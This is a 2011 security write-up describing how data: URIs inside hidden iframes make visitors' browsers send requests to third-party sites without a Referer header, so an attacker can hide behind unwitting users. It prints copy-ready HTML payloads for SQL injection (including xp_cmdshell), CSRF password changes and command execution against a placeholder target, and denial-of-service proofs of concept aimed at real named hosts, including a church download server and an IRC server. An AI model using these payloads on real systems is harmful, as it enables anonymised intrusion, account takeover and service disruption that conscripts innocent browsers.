Abusing the data: Protocol to Patsy Third Parties

Abusing the "data" Protocol to Patsy Third Parties

2011-01-19 ~ Brendan Coles <bcoles at gmail dot com>

It is possible to send traffic to a third-party website without leaking the referer. With this knowledge it is possible to "patsy" a third party by forcing their browser to submit "evil" requests to a target server.

How It Works

RFC2616 - Section 14.36 states :

"The Referer field MUST NOT be sent if the Request-URI was obtained from a source that does not have its own URI, such as input from the user keyboard", and "We suggest, though do not require, that a convenient toggle interface be provided for the user to enable or disable the sending of From and Referer information".

Mozilla Firefox 3.6.13, Opera 10.51 and Opera 11 treat the "data" protocol appropriately and do not send the HTTP referer. As a result it is possible to craft HTML which will force a user's browser to send a HTTP GET request to a third party target, without leaking the attacker's refering URL. This attack does not work on Internet Explorer 8. Earlier versions of IE are untested.

The following proof of concept is available.

<iframe style="height:0;width:0;left:-100px;border:none;position:absolute;" src="data:text/html,<img src='http://itsecuritysolutions.org/'>"></iframe>

Payloads

Any exploits which require HTTP GET requests can be used. For example :

SQLI : <html><iframe style="height:0;width:0;left:-100px;border:none;position:absolute;" src="data:text/html,<img src='http://target.com/vulerable.ext?vulnerable=-1 union select 1,2,3,xp_cmdshell(), 4--'>"></iframe></html>

CSRF : <html><iframe style="height:0;width:0;left:-100px;border:none;position:absolute;" src="data:text/html,<img src='http://target.com/vulerable.ext?set_password=1234'>"></iframe></html>

RCE  : <html><iframe style="height:0;width:0;left:-100px;border:none;position:absolute;" src="data:text/html,<img src='http://target.com/vulerable.ext?string=system();'>"></iframe></html>

Denial of Service

An attacker could chew up a target's bandwidth by pointing a user's browser to a large file on the target's server, without leaking the attacker's refering URL. This scenario is only likely if the attacker has access to a server with a large amount of internet traffic. The following proof of concept is available :

<html><iframe style="height:0;width:0;left:-100px;border:none;position:absolute;" src="data:text/html,<img src='http://downloads.westborobaptistchurch.com/wbc_logo.png'>"></iframe></html>

Some IRC servers do not close the connection when they receive a HTTP packet. This may result in a Denial of Service condition against the IRC server when too many open connections are initiated, without leaking the attacker's refering URL. This scenario is only likely if the attacker has access to a server with a large amount of internet traffic. The following proof of concept is available :

<html><iframe style="height:0;width:0;left:-100px;border:none;position:absolute;" src="data:text/html,<img src='http://irc.austnet.org:6667/'>"></iframe></html>

Pointing a user to a script which redirects back to the HTTP referer, without providing a referer, will result in a loop which could cause a denial of service condition on the target when too many open connections are initiated, without leaking the attacker's refering URL. This scenario is only likely if there's a broken redirect script on the target's server and the attacker has access to a server with a large amount of internet traffic.

Appendix

Abusing the data: Protocol to Patsy Third Parties - Live Proof of Concept